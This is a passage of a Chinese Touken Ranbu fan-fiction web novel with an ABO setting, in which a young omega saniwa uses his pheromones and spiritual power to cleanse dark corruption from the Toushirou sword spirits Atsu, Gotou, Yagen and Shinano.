刀剑付丧神就算和人类签订的契约能够被召唤出来奉他们为主,成为因人类而存在的刀剑付丧神也终究是神明,人类的力量怎可能扭转关乎生命本源的存在。 时之政府因为暗堕失去了多少战力已不计可数,但暗堕无法扭转无法消除,也早已成为时政和众多审神者的痛。 鹤见悠纪不知道自己现在是什么感觉,他的大脑晕晕的,好像周围的一切都停顿下来了,格织的话在他的脑海中逐步分解,最后都化成两个字死亡。 暗堕会死掉。 这种被称之为暗堕的问题是无法治疗的,他咽了咽口水。 他觉得自己疯了。 鹤见悠纪听见自己艰难地出声:“现在我还可以见他吗?” 他这么疯了。 后颈的腺体离开本丸之后似乎没有消失,现在它又开始开始闷闷地痛,有熟悉的甜丝丝的味道在鼻尖蔓延,那是自己的信息素。 但眼前的格织一切如常,好像没有闻到这些味道,听了少年的话,他虽有些疑惑,但还是点头答到:“当然可以,只不过千万别靠得太近。” 鹤见悠纪被带着去见了厚藤四郎,回归本体的短刀已经恢复了人形。 他躺在床上,身上被锁链锁住,不少地方已经冒出了骨刺,显出几分异形来。 现在的模样确实已经和之前不一样了。 原本因为失去感情变得淡漠而面无表情的面容此刻满是混乱与挣扎。 格织带他来到这里:“别靠太近,若是再受了刺激付丧神本身也控制不了自己,你有会受伤的。毕竟对于神明来说,那些束缚算不了什么。” 只不过现在还没有到彻底失去意志的厚藤四郎他们只用了简略的束缚手段,周围负责看守的其他刀剑付丧神才是最为关键的制止力量。 鹤见悠纪深吸一口气,他缓慢推开房门,从外面窗户看上去就已经十分狼狈的少年在靠近后更是将一切的不堪展现在他的面前。 那双浅色的眼眸在此刻染上红意,在敏感的信息素环绕过去的一瞬间他的身体猛的绷直,他的混乱与痛苦被信息素抚平一瞬。 厚藤四郎不可思议的看向眼前的人:“您怎么在这里?这不是您应该来的地方。”话说了一半,他突然抬起手想要遮住自己的脸,然而手腕上的铁链框框当当地发出不同的响声,放大他的不堪,声音沉闷又颤抖,“……抱歉,让您看到了我这副狼狈的样子,明明还没能为您做什么事情就已经到这种地步了,实在是辜负了您的期待。” “这有什么好道歉的。” 笨蛋。 鹤见悠纪感觉自己的嗓子有点痛,他好像什么话都说不出来了。 他感觉自己是心疼的,毕竟眼前的刀剑怎么说也帮助了自己。 对方将柔软的花枝戴到自己的头上,那片之为自己而诞生花丛仿佛还历历在目。 可在现在这一切都消失殆尽了,自己甚至还要与对方解除契约。 恍惚间他好像闻到了那股熟悉的信息素,冰冷的像水汽一样,穿过皮肤,透进心底,一点一点拷问他的心脏。 真的要这样做吗? 但是如果不这样做的话,他又能做到什么呢?和厚藤四郎一起去死吗? “请不要难过,请不要露出这样伤心的表情了。”厚藤四郎发现了他的痛苦。 他第一次在鹤见悠纪面前展现出这样丰富的情绪。 付丧神伸出手,似乎想要触碰他,想要抚平他皱起的眉头,然而距离过远,被束缚的手做不到,还有想要遮挡自己丑陋面容的意愿在他心中反复挣扎着。 他的声音低沉,但很温柔:“很快就可以回家了呀,不要再伤心了。” 他知道自己现在的样子有多么可怕,全身长满骨刺,一双眼睛红得可怕,就好像血液一样。 他眼前无辜的少年何曾见过这样令人厌恶的场景,他敏锐地感受到了对方的情绪,还有自己的情绪,有困惑,还有茫然。 是因为他不够强大,是因为他无能到被小小的暗堕侵蚀至此。 然而,在现在感受着熟悉又陌生的情感在胸膛中奔涌的时候他又有些怅然。 究竟有多久没有在有这样猛烈的反馈的呢? 看着眼前的主人,那些被暗堕压下去的敬爱与欢喜像无法停留的江海一样奔涌而出。 如果是在没有暗堕的时候就遇到眼前的少年就好了,如果当初再小心一些,再当心一些,没有被那些情绪污染核心,自己是否能以干净的姿态陪着对方直到永远,是否有立场有能力能够祈求一直留在对方的身边。 可是现在即将彻底暗堕的自己和对方,一直保留着契约带来的都只有痛苦,作为暗堕的载体,他被彻底侵蚀时,暗堕会随着契约追随而去,将身为人类的审神者同样纳入这无尽的深渊。 “回家,是的,我要回家了,可是你怎么办?” 鹤见悠纪不明白厚藤四郎的恐慌,可是看着这一切,终究还是问出来了。 不再是作为备选,厚藤四郎就是站在他眼前的唯一。 他的眼睛睁颤着带着几分不忍,迫切的想要得到答案:“是因为我才会变成这样子吗?如果不是我,大家是不是还在本丸里平安的生活着?” 厚藤四郎不想看他贬低自己,甚至将一切的罪责都揽在自己的身上,他说: “难道在您看来那样行尸走肉般等待死亡的日子便是美好的吗?” 突如其来的少年像一道光一样将他平淡又被杀戮覆盖的生活撕开,本丸的白日大家平平淡淡,到了晚上便完全沉浸在厮杀中,不得片刻停歇。 若不是因为他们是神明,早就被长久无尽的孤寂以及空白淹没了,就算有兄弟在,可他们彼此之间再也不是原来那样了。 无论是暗堕最轻的药研藤四郎,他的情绪同样变得扭曲而暴躁,只不过在鹤见悠纪的面前压制了下来,变成如今这幅看起来最正常的模样。 而厚藤四郎本身因为安多被剥去情感,就连对兄弟的那份亲情之意都被进入剥离,他看着他们就像仅仅是生活在同一屋檐下的陌生人,但为了不让他们担心,他的本能让他还是牵出了一丝丝的亲情。 信浓藤四郎那许久不再出现的另一个人格让他的情绪阴晴不定,似乎下一秒就会大开杀戒,就算是对着他们这些兄弟也同样大打出手。 后藤藤四郎失去了半日的时光,白天沉浸于本体中什么也不知道,到了晚上又必须要投入与时间溯行军的战斗之中。 他们哪有半分可以静下来相互交谈的时间,是自从鹤见悠纪来了之后夜晚的时间溯行军数量骤减,甚至在白日也看到了些许不一样的色彩。 厚藤四郎甚至记得。 和自己第一次见面的时候,鹤见悠纪好像是害怕的,或许是因为药研藤四郎嘱托他什么,但是却没有做出怎样过激的举动,只是安静的看着他,安静的在最后离开了。 脚步有些急躁,像只小猴子,却让他觉着有些可爱。 在正常的社会下成长起来,一举一动都带着正常气息的少年。 对他们来说,便已足够了。 鹤见悠纪看着他,厚藤四郎的眼睛里从未出现过这样热烈的仿佛要把他烧焦的情感。 他好像懂了点什么。 他突然说:“我现在可以触碰你吗?” 厚藤四郎一愣,而后他笑着。 “当然,大将。” 作为大将的刀剑,怎么可能不能被拥有者触控呢? 他不会是弑主的刀剑,不论是过去还是未来,他都不会成为那一把伤害主人的刀。 鹤见悠纪深吸一口气,缓慢靠近在所有人眼中都显得极为危险绝不能被脆弱的人类触碰的暗堕付丧神。 他的手臂在颤抖,呼吸也有些滚烫,空气中的信息素本应是冰冷且充满湿润的,然而现在却像干柴烈火一样,将他整个人都烧起来了。 omega的本能发出了回应,就算离开了那座诡异的本丸,他的身体仍旧没有恢复成原来的样子。 后颈的腺体在发烫。 他靠近,触碰,最后和那副已经生长出骨刺,显得有些畸形的身体完成了一个拥抱—— 作者有话说:【】 50-54 第51章 信息素彻底融合,他们紧紧拥抱在一起,明明是极为危险的事情,一直胆小如鼠的鹤见悠纪却在一句没有任何力度的保证下就选择了靠近。 他是不愿意面对死亡的,他为什么要面对死亡呢,那不是他所需的,掉进了黑暗本丸因为运气够好才勉强活下去的他何必思考那么多。 他只是想要回家而已,若不是想要回家,他怎得又会结下那么多的羁绊,就连相处最少的后藤藤四郎都让他难辞其咎。 其实他什么都没有做,命运如此不公,究竟要到什么程度才能让他毫无愧疚心地回家去。 了事拂衣去,却无论如何也了不了事。 鹤见悠纪无法接受。 抱住厚藤四郎的手臂越来越紧,眼眶逐渐湿润,情绪如此汹涌,他深陷其中,就像初入本丸时的一无所知,现在的他对自己的状态也是一无所知。 omega的信息素从适度的柔和冲向滚烫,那是不属于诅咒范围内的破坏和引诱,这一次更倾向于净化的力量,不再是恶意造就的混乱,究竟到什么程度才可以安心地离开,他不知道。 但是那些深藏于身体中的属于他的力量会表现真相。 守在周围被他的动作惊到的人彻底顿住了,和常识中会被伤害的结果不同,鹤见悠纪看起来没有任何痛苦,除了逐渐感受到湿润的布料以及轻松下来的身体,不再有奇怪的混杂的痛苦了。 omega的信息素彻底包裹厚藤四郎,就像常态里alpha用自己的气息包裹属于自己的omega一样,沾染他的气息,打上他的标记,让所有的人都知道,这是属于他的,就算是造就这一切的诅咒也不允许侵蚀。 霸道的独属于abo世界观的alpha对omega的占有欲在此刻反转,被身为omega的信息素表达了出来。 它们驱逐信息素,却没有找到目标,进而寻找到另一个更加讨厌侵蚀更深的力量,暗堕,彻彻底底根植于付丧神核心的负面力量激起了信息素彻底的叛逆,它带着自己新收的小弟灵力冲了上去。 解决掉他们,属于契约的审神者以及亲密无间的omage的气息,没有alpha会愿意推开。 纵容,臣服,而后彻底被洗刷干净,只留下属于鹤见悠纪的一切。 鹤见悠纪不知道发生了什么,只是那被暗堕入侵之后带起的反扑和攻占让他一阵虚脱。 本应被骨刺占领洞穿他胸腔的部位只剩下一片平坦,少年还在迷茫,但是意料之外的从契约另一边反馈回来的清明让他迷糊着抬头,而后,意识陷入沉睡。 厚藤四郎一边茫然,只有条件反射接住审神者软下来的身体的动作没有出任何问题。 omega的甜蜜气息涌入鼻腔,他好久好久没有这样舒服了,没有压迫,没有淡漠,并非到了极限时回光返照一样的情况,而是完完全全变成了一把仅仅名为厚藤四郎的刀,一个只属于鹤见悠纪的刀剑付丧身和alpha。 直到属于时之政府的来到他的面前,脸上的惊讶和复杂掩盖不住地落在了鹤见悠纪的身上。 厚藤四郎警惕地把少年抱紧了些,刚刚任由少年来莽撞地拥抱自己,自己是被暗堕控制放大了欲望,而这些人呢,可是一片正常的,却没有制止他的大将靠进危险。 时之政府什么时候已经变成这样不可靠的模样了吗。 被狠狠盯着还被用刀抵上了脖子的格织:“……” 老天爷,五秒之内两个人抱上了暗堕还没了,他能现在立刻冲了过来都算他反应快接受能力强了好吧?! 他又不是什么人贩子!!! 但厚藤四郎一副完全恢复没有任何问题而且怎么都不愿意放人的样子也让他们完全僵持住了。 所有人都知道认主的刀剑付丧神在自己的主人的事情上有多么说一不二。 所以等鹤见悠纪醒来的时候,就是环绕在自己腰间的手臂,身后暖呼呼的胸膛和眼前一环环绕仿佛开看什么珍稀物种的人们。 鹤见悠纪:“……” 他默默向身后的怀抱里缩了缩,下一刻又发现有什么不对劲身体一僵,缓慢回头,在对上厚藤四郎警惕的浅色眸子时深吸一口气,艰难开口:“这是,发生了什么?” 他觉得,一定有什么东西超出了他的预料。 打破了未来,打破了稳定,在他突然失去意识的时候一定发生了甚惊天动地的事所以眼前的那群一看就不简单的人才会用那种火热的眼神看着他。 格织不负众望站了出来,作为在场和鹤见悠纪唯一有一点点交集的人类,他承担起了这个重大的责任。 “说来话长,但是现在的状态较肩紧张,”他看了一看厚藤四郎又在付丧身从始至终没有放下来的眼神里默默移开视线,“……咳咳,我就长话短说了,事情是这样的……” 鹤见悠纪逐渐习惯了厚藤四郎亲密又充满保欲的动作,他放松地靠在付丧身的怀里,很快就知道众人为何会有这么大阵仗。 首先第一件事,厚藤四郎的暗堕消除了,而且是鹤见悠纪做的。 前者因为没有紧密检查过,所以无法确定是否是百分百,但是肉眼可见之处绝对消除了百分之九十九起步,这已经足够震惊了,毕竟在这之前,对于付丧身的暗堕,大家所能做到的只有抑制,而没有祛除。 这种因为极端情绪而产生的作用于神明核心的状况除非更加强大的神明愿意出手,简直是无解,作为人类的审神者以及时之政府的官方人员组成中皆是没有神明,那些更高维的神明早已沉睡不知所踪。 所以,像鹤见悠纪这种把付丧神的暗堕祛除到这种程度的实在罕见。 或者说,第一次见。 鹤见悠纪:“?” 他更害怕了…… 什么第一次,第一个,都很容易被变成研究的小白鼠,然后被彻底干掉啊!!! 他好像已经想象到自己被抓进实验室然后成为躺在实验床上被解剖的血性场景了。 鹤见悠纪垂下的手紧紧抓住厚藤四郎的衣角,少年抿着唇满眼都是不安,眼前的一切人类都变成要吃他这只小白兔的大灰狼。 鹤见悠纪不中。 鹤见悠纪想要回家!!! 格织也很快发现了他的状态,难怪厚藤四郎把他们这些官方人员当做敌人,原来是因为这个做主人的也这样想吗! 物似主人形,但这个也太过分了。 天杀的。他们只是想检查一下并且寻找一下怎么做到的而已,这还没开口怎么就变成疯狂博士了。 格织痛苦面具,最开始的从容不知所踪:“我保证,不会对你做什么事的,只是一些正常的检查……” “真的假的?” “真的。” “……” “我不信。” 鹤见悠纪转身抱住厚藤四郎的脖子,这是在场唯一一个和他有些切实联系的存在,付丧神让他感受不到一点危险,好像已经完全成为了他的意志的延伸,不在如同往常一样时刻存在着一层薄膜。 少年不想面对危险,那就让自己最强大的部分去面对,将危险全部解决。 厚藤四郎知道在这种超出大将常识的环境里,只有自己可以保护他了,兄弟们都不知所踪,除了信浓藤四郎……想来他也不太正常,至于其他的,他一点情报都没有。 他回应了鹤见悠纪的依赖。 对着那群人类半步不退。 场面僵持住了。 格织背后被一群研究大佬盯着,好像下一秒就要给他盯穿了,然而面前的少年又不愿和他交流,至于厚藤四郎,那完全是鹤见悠纪不愿的代行者。 没法交流了啊! 格织直接在内心泪流满面,面上也只能勉强保持理智。 最后鹤见悠纪还是缓慢转回头,在格织的痛苦面具下点了头。 他是这么想的。 不愿意的话,会被强制愿意的吧…… 但是接下来的检查倒是让他心中的负面情绪尽数褪去了。 没有那么可怕。 除了一些他看不懂的看起来很神秘侧的东西在他身上扫了又扫,那些看起来牛逼克拉斯的人眼睛越来越亮以外,一切检查完毕重新站到厚藤四郎后鹤见悠纪都没感觉有什么区别。 就连以前上学的体检中抽血那样给你扎个小洞的伤害都没有,简直无害的可怕。 厚藤四郎握紧了鹤见悠纪手,看着少年恍惚的样子,可靠的少年付丧神抬手揉了揉他的脑袋,不同于自己刺啦啦的头发,柔顺的感觉让手心仿佛陷入棉花。 鹤见悠纪感受到撸猫一样的手法,迷茫抬头:“厚,你是无聊了吗?” 不然干嘛这样来摸他。 厚藤四郎一顿,弥盖弥彰地收回手移开眼神,只是牵着少年的手还是没有松开:“没有,只是看您好像不太开心的样子。” “没有不开心,”鹤见悠纪叹气,视线看向向他们走来手中还拿着什么东西的人,“只是希望这件事早点结束的好,我有点累了。” 自己的价值越高,他会越累的。 第52章 最后的结果有点出乎意料,鹤见悠纪呆愣地眨了眨眼睛,小声道:“什么叫……不可复刻?” 这个词一听就很不对啊,不可复刻什么的,独特性什么的,感觉真的下一秒自己就要被变成祛除暗堕的工具人了。 “除了受到那位的诅咒的付丧神,都无法通过这种方法祛除暗堕。”格织的神情有些复杂,他没想到自己只是常规执行一个安抚和招揽任务,最后竟然扯出这么一件事来。 “所以,如果可以的话,能否请求您将剩下三位付丧神的暗堕也一并去除。”格织的语气带上请求,在暗堕本丸待了那么久饱受苦难,却只和厚藤四郎有契约的少年,想必对另外三把刀的印象不甚偏好。 毕竟,一个对灵力一无所知的小白能够四选一和一把刀定下契约,剩下的三个大概就是让他在绝境里寻找希望的压迫点。 他不太确定,鹤见悠纪是否愿意为“仇人”治疗。 完全没有受到那些可怕的想象中的攻击的鹤见悠纪眨了眨眼:“……好的。” 帮大家结束痛苦吗?和未来中的样子越来越不一样了。 是因为时政的官方介入? 他不太确定。 但他答应了。 格织一愣,有些意外,但是良好的职业素养让他迅速反应过来,“非常感谢,请跟我来。” 话毕,他带着少年向另外三把刀的位置去。 暗堕付丧神是极为不可控的,谁也不知道他们什么时候会突然遭受那个不可承受的刺激,而后变得疯癫。 所以,在稳定下来之前都会有一个观察期。 这个观察期在每把刀最开始暗堕的时候都经历过。 鹤见悠纪跟着格织还没到目的地时,远远的就看见了药研藤四郎靠着墙在等他。 他有些意外,但是脚下已经加快朝人走了过去,厚藤四郎在他身后紧紧跟随,就剩下一个被留在后面的格织看着这一幕松了口气。 鹤见悠纪在药研藤四郎面前停下:“你还好吗?” 药研藤四郎安抚着点头:“我没什么事,别担心。” 他不知道多少次揉着鹤见悠纪的脑袋让少年别担心,明明他才是最会操心的那个。 付丧神视线微微抬起,落在厚藤四郎的身上,意外的,这次不是淡漠也不是冷冽,而是充满了熟悉的属于兄弟的羁绊的情感的眼睛。 药研藤四郎瞳孔骤缩,有些不受控制地看向在自己眼前皱着眉走神不知道在想些什么的少年,直到得到厚藤四郎肯定的点头他才收回复杂的神色。 祛除暗堕,他当然知道这种能力代表着什么。 只不过,当这种能力出现在鹤见悠纪这个只想回家的少年身上的时候,只让他惶恐。 格织也跟了上来,他不由得打趣:“怎么的,原来是熟人啊。” 鹤见悠纪从走神里拉了回来:“啊,是的,算是吧。” 看出他不想多说,格织边扯开话题:“既然这样就好办了,来,我们走这边。” 鹤见悠纪想快点做完事,便立刻跟了上去。 药研藤四郎皱着眉和厚藤四郎对视一眼,但看兄弟没有什么反应,就按捺下不安,静静跟上。 后藤藤四郎的房间的控制明显比厚藤四郎的状态更严密。 上次他莫名其妙敢自己莽进去,但这一次,鹤见悠纪退缩了。 他是想让事情赶快结束的,所以他做好心理准备之后还是主动抓着身后的厚藤四郎冲了进去。 他们进入房间内的一瞬间角落里的身影猛地绷紧了,他身上晃晃荡荡连接了很多铁链,这次和厚藤四郎那样孱弱的铁链不同,上面冒着白光,一瞧就直到加了一些神奇的小配方。 不过这些不重要。 他更在意中间的那个身影。 他几乎看不出来那是后藤藤四郎了。 那双藏在黑暗中的眼睛一瞬间睁大。 鹤见悠纪看到了,那是两团暗红色的光,就好像完全燃烧殆尽最后的焦痕。 那个身影的颤抖更加剧烈了,不是恐惧,而是乃至更新更深处的源自核心的欲望。 后藤藤四郎皮肤上不知道什么时候出现一道道细小的裂纹,那些早就已经长满了骨刺的皮肤被裂纹完全占据,但是从裂纹中流出来的却并非是血液,而是一些深黑色的液体。 鹤见悠纪咽了咽口水还是没有退缩,他几步靠近后藤藤四郎,他控制着颤抖的手指靠近对方,脑海里不断回忆那些人交给自己的快速结下契约的方法。 手贴了上去,出乎意料的,被暗堕蒙蔽心智的后藤藤四郎并没有主动攻击他,反而在他触碰到的一瞬间安静了下来。 两者接触的地方,就像是邪祟猛地触碰到光明一样,一瞬间冒出刺啦刺啦的白气。 那些力量就像成为了本能一样,沿着鹤见悠纪触碰到后藤藤四郎部位延续,灵力被什么引导着建立起了契约,所有的其他的不属于鹤见悠纪的气息都被驱逐了。 很快,一切结束。 后藤藤四郎从来没有这种感受,疼痛时最先消失的,然后是愤怒,占有欲,以及最重要的破坏欲,全都消失了,就连那不应该让付丧神存在的恐惧都一起。 消失殆尽。 新的温度从他的胸口开始,沿着血管,延着他曾以为全部损坏变成怪物的通道,将陌生又熟悉的气息输送至全身。 后藤藤四郎意识开始恢复,他的眼前出现一道模糊的身影。 他几乎是一瞬间就认出来了。 是…… 那个人。 那个闯入本丸,和兄弟有着亲密关系的人,他抱着自己从危险里冲了出去,胸腔中的心脏明明已经紧张得快要跳出去了,却将他抱得越来越紧。 不论发生什么,都没有松手。 没有放弃他。 他带着他的兄弟,他带着自己微弱的力量,一直到自己看见他的脸。 后藤藤四郎眼睛一瞬睁开,意识沉浸在黑暗里的时间太久了,现在他感受到的不是恍然清醒时的束缚和刺痛,而是一种温暖的光,如同清晨穿过窗棂的第一缕阳光,是金色的,是温暖的。 光落在了他的手上。 那些自残造成的在手指上干涸的痕迹在光的照耀下显得格外刺眼,然而下一秒,光消失了。 他的手指缩了缩。 自己有多久没有这么舒服了。 在黑暗中,在混乱中,在迷茫中…… 在那些负面物质组成的世界里时间是没有形状的,他的身体就像是一团被揉皱扔进垃圾桶的纸,怎么也恢复不了。 然而此刻,后藤藤四郎的手除了那些伤口,其他什么都没有了,那些被刻意放大的阴暗心思也回到了规矩的范围。 他变成了正常人。 后藤藤四郎的手上什么都没有了。 那只是一只苍白却带着些力量的少年的手。 他并不脆弱。 鹤见悠纪突然握住了他的手,他这才反应过来,那些突然出现又突然消失的光,是少年的灵力。 记忆像玻璃碎片一样涌了过来,每一片都锋利至极,自己行尸走肉一样,带着浑身的危险气息,冲向了鹤见悠纪的屋子。 他好像控制不了自己了,剩下的只有外露的欲望,之后呢,之后他推开房门,那张丑恶的脸刚露出一个普通的笑,什么都还没做,目标就逃走了。 逃走了。 逃……逃的好。 直到被药研藤四郎按在地上控制住,身体像蛆一样扭动挣扎的时候,他都还在想,幸好鹤见悠纪足够聪明,看出来了自己是个危险的东西。 没有被忽悠。 安全地保护了自己,他很好。 随后的记忆,变成了一团模糊的雾,他记得那些被怒火控制的大脑,还有一种无法遏制的想要毁掉一切包括自己的情绪。 直到现在。 后藤藤四郎慢慢回握鹤见悠纪的手,他感受到了少年细微的颤抖,是在害怕他吗,是了,自己毕竟拥有过那么恶心的模样。 不过没关系,他对自己这么说,自己做的那么差,会被讨厌简直太正常了,想要挽回的话,必须做出点实际行动才行。 “我已经清醒了,”后藤藤四郎的声音有些沙哑,但还是撑着失而复得的□□看向失而复得的审神者,“还请,不要讨厌我,可以吗?” ……第一步还是在渴求宽恕啊,他什么都还没做,劣根性,那因为暗堕而造成的劣根性还是残留在身体里,不对,这样做肯定是不对的,可是,大将阿,请求您,不要丢弃被您重新拉回人间的恶鬼。 鹤见悠纪看着蜷缩成一团的人逐渐伸展开身体,还像只小动物一样流着眼泪,还笑着祈求,实在是让人半分厌恶不得。 鹤见悠纪的恐慌消失了,当着厚藤四郎和药研藤四郎的面,他摸上了后藤藤四郎的脑袋,声音放轻: “好哦。” 后藤藤四郎的事情解决得比鹤见悠纪想象中的还要快。 等从房间里出来靠在厚藤四郎身上发呆的时候他都还有点没反应过来。 他愣愣地看着自己的手,只需要调动灵力,引导信息素,然后去触碰付丧神,一切就结束……了? 好草率的解决办法。 但是这样容易做到的事情对于他这个怕麻烦的人来说实在是再好不过了。 于是歇了两口气,看着再次陷入昏睡的后藤藤四郎被带走之后,他才看向格织,这一次他的语气里带着放松:“好了,接下来,下一个,是谁啊?” 格织将刚刚的不可思议的一幕消化完毕,对上他的问题,脑袋轻轻偏了偏:“是他哦。” 鹤见悠纪自然地看了过去。 瞬间对上一双熟悉的紫色眼眸,而眼眸的主人,早已看着他多时了—— 作者有话说: 第53章 鹤见悠纪看见药研藤四郎的第一反应就是否定,让他来和药研藤四郎签订契约,消除药研藤四郎的暗堕? 在他的印象里,药研藤四郎一直都不像是一把暗堕的刀。 但是嘴巴动了动刚要发出声音,药研藤四郎曾亲口对他说出的那些情报在脑海中浮现,他恍然反应过来,本丸中的四把刀都早已暗堕,药研藤四郎只不过没有因为刺激加速而已。 “是我哦。”药研藤四郎对上他的视线,付丧神声音低沉,听不出什么明显的情绪,“现在我也需要你的帮助才能摆脱痛苦了,帮帮我吧。” 作为祛除暗堕中唯一一个清醒的付丧神,药研藤四郎也是第一个向鹤见悠纪提出请求的刀,他的眼睛看起来其实是存在刀剑的冷冽的,只不过当他满心满眼都看向作为弱小的人类的鹤见悠纪的时候,这种距离感完全消失了。 就好像一个高冷帅哥看起来不近人情,然而心里却一直在冒爱心一样。 反差感极大。 说到这份上了,鹤见悠纪倒没有什么别扭的情绪。 他看着那双熟悉自己的温柔的紫色眼眸,只是深吸一口气,就点了点头:“我明白了。” 鹤见悠纪对于和药研藤四郎签订契约这件事并不反感,甚至还有点心虚。 毕竟最开始为他想出解决办法,并且提议和他签订契约的人是药研藤四郎,然而自己却转而找了另一个人。 他以为对方没有发现,但现在的情况看来,自己的那些小心思怕是早就被看透了。 真尴尬的说。 为了能够稳定的回家,在接触到一把又一把刀剑的时候,他就动了坏心思,接近一个又一个,坏心眼地把他们作为自己的备选。 鹤见悠纪当然知道自己是个坏人,如果他不是个坏人怎么会和这么多刀剑牵扯不清,又怎么会让药研藤四郎感到伤心,甚至到最后付丧神已经有意识和自己保持距离了还不忘来保护自己。 熟练地调动其灵力,颈后的腺体开始微微发烫,比刚才更加燥热的信息素缓慢的蔓延了出来,那被收敛起来的甜丝丝的味道朝着药研藤四郎席卷而去。 鹤见悠纪没发觉有什么不对。 信息素和灵力的运用在一次被动和一次主动之后,仿佛成为了他的本能。 鹤见悠纪靠近药研藤四郎,如同之前对待后藤藤四郎那样将手放在对方的额心,力量串联,沟通,而后环绕,最终将两人联系在一起。 无形的契约在两者之间建立,让他们独立的个体链接成羁绊无法断绝的双方。 鹤见悠纪几乎在一瞬间就感受到了从契约另一端传来的兴奋与惶恐。 他睁开眼睛看着眼前面色和平常没有任何区别的药研藤四郎,感觉有些不可思议。 没想到这家伙平常看着平平淡淡的脑子里的情绪却这么汹涌,让他这个灵力小白都在建立契约的一瞬间感受到了。 但这样看起来的话,自己做的事不就更加罪大恶极了! 话说他怎么这么擅长扮演一个负心汉的角色啊? 本来以为第一次这么坏他会做不到,现在看来自己简直是天选之人。 厚藤四郎明明情感都很淡薄了,却成为了自己终极的签订契约的对象,信浓藤四郎作为自己的大保底备选目标,虽然最后没有用上,但是看起来也是真心要帮助自己的,至于见都没见过几次面的后藤藤四郎,他突然陷入深沉的暗堕也和自己有关系…… 难道自己是什么魅魔圣体吗?! 不要不要的,可不要出现什么奇奇怪怪的设定。 他只是一个普通的少年,一个为了回家而努力摸滚打爬,最后在宽容的神明的允许回家的普通少年而已。 或许,说明之后会解除就能安抚一下药研藤四郎的心了? 鹤见悠纪安抚好自己,才收回手,期待地看向药研藤四郎,等待对方的反应。 药研藤四郎感受到身体内充满了眼前少年的气息,那是他所想要争取,却未能争取到的东西。 在现在,却因为自身的苦难被施舍而来,只不过他对从何而来并不重要,重要的是他 终于得到了。 他迎上那道期待的目光,牵起鹤见悠纪的手,大拇指覆盖在少年的手背上,轻轻落下一吻,眼神眷恋,语气轻轻的,像是怕惊扰了什么:“大将,在现在总算能叫出这个称呼了呢。” 鹤见悠纪怔怔点了点头,他将脑子里的想法全部打散了。 现在本就是为了解除他们的暗堕才会建立契约,那等之后自己要回家了的时候接触契约,这家伙不会直接哭一场吧? 毕竟这家伙的感情真的是几个人当中最汹涌,最控制不住的。 “现在的药研看起来好像更帅气了呢,果然没有暗堕人都变得精神了几分。”鹤见悠纪拍了拍他的肩膀,语气放松下来,也带着几分调侃了,“要再接再厉啊,保持住这样的精神头,接下来,让我们去见最后一位吧。” 鹤见悠纪顺手握住了药研藤四郎的手,手心相贴,依然十指相扣。 这是他们曾经在第一次一起经历的易感期时所做过的事情。 那一次,他们做下了亲密的举动,呼吸与温度在动作间交接,还有更多的在唇齿消解的呜咽,都被动作隐瞒在了呼吸间,信息素疯狂交融,抢占对方的空间,又给予共生,一切都是陌生又让人战栗的。 就连让人怎么也不愿意放开的柔软的皮肤,到了现在也是逐渐清晰。 那些因为鹤见悠纪的到来、因为鹤见悠纪的存在而变得平复下去的燥热,就像是药研藤四郎自己藏起的欲望。 大概从那个主动朝自己走来的少年颤抖着握住他的手献上自己的时候起,药研藤四郎就已经沦陷了。 被侵蚀的情感剖开一片净土,从那时开始堆积,一直到现在,浓郁程度不言而喻。 神明的情感究竟有多么厚重?鹤见悠纪现在并不知晓。 他只是如同习惯般一样,将眼前与自己已经打破隔离的付丧神之间的距离拉进。 他想着,既然最后都要离开的话,那就在现在变得高兴些吧,就算只有一点点也好。 然而,下一秒还准备等工作人员给他指路的鹤见悠纪就被药研藤四郎主动拉着手走了进来,他说:“我也知道在哪里的,接下来跟我来吧。” 鹤见悠纪顺畅地几步快速跟上他的步伐,然而路过厚藤四郎身边时他发现付丧神有些迷茫的神情,便顺手抬起捏了一下对方的耳朵,语气疑惑:“怎么在发呆?快点回神了。” 怎么就结个契约的时间这家伙就直接开始发呆了,真是的。 鹤见悠纪无奈吐槽。 提醒完人,他收回脑袋,也就没能看见付丧神原本暗淡的神情再次亮起来,甚至那被捏过的耳尖都瞬间变得滚烫起来。 并没有因为再次和兄弟的关系变得亲近下来就将他抛下,真好。 厚藤四郎手揉了揉耳朵,低着头,脚步紧紧跟了上去。 格织摇了摇头,无奈地继续充当路人角色,本来自己是今天的引路人来着,结果现在……是莫名其妙被塞狗粮了吗。 这些家伙也完全不顾及他这个外人在场啊。 但是人类能够和神明相处的如此融洽,也正是时之政府想要看到的,更何况是作为拥有能够消除暗堕这样能力的少年呢? 他揉了揉脑袋,收敛脸上的思索跟了上去。 鹤见悠纪跟随着药研藤四郎很快就走到了新的房门,但是这次的房门显然是他见过的几次房间中最紧闭的房间。 这人一个房间,有种闯关的感觉。 “奇怪,怎么会这样?”鹤见悠纪戳了戳药研藤四郎的手臂,药研藤四郎解释,“信浓的情况不太一样,他暗堕没有因为受到刺激而快速加成,但是却正处于易感期。” 鹤见悠纪懵了:“怎么还在易感期……” 信浓藤四郎这是激素不协调吗,怎么易感期延长了这么多。 他要是真的生活在abo世界,他的伴侣会不会精尽而亡啊。 啊不对,实在是想别人现在最重要的是:“那这种情况我要怎么处理呢?” 鹤见悠纪保守迷茫疑惑,毕竟自己现在还是omega,对于alpha的易感期还是不太好,直接靠近的吧,要是独自一个人闯进去,直接被人按在那里就地正法他不就卒了吗。 药研藤四郎指了指自己:“这种情况就让我来帮助你吧,虽然我不能做到完全一样,但如果只是多关注一点,用来建立契约的空间,还是能够做到的。” 鹤见悠纪眨了眨眼,好奇的看向他。 他跟随对方的脚步走进房间内,房门在身后咔嚓上锁,厚藤四郎慢了一步被关在门外,和格织两个人面面相觑,而后又相对无言默契地透过窗户向屋内看去。 药研藤四郎走进房间的一瞬间,身上的信息素躁动着吞噬周边的气息,他身上的信息素开始尽数覆盖。 鹤见悠纪一进来就感受到alpha的信息素仿佛锁住喉咙一样的压迫感,弄得他大气都出不了。 然而不到一秒钟,那种感觉便消失了,他有些惊奇的看向身边的药研藤四郎。 没想到alpha的信息素竟然还有这样的力量,那之前怎么不见他们用。 鹤见悠纪摇了摇脑袋,别思考别拖延! 他赶紧清空脑子凑了过去,因为并非是暗堕加成,信浓藤四郎现在的样子还算正常。 但不过陷入了沉睡,对他的动作也不会有任何反应。 这种安静的状态反而刚好方便的鹤见悠纪动手,建立契约,带起力量,而后将手指按在额心。 契约的建立是非常迅速的,没有被挑起的原本就趋于稳定的暗堕被迅速剥去。 事情进行得很顺利,然而下一秒就打了鹤见悠纪一个措手不及。 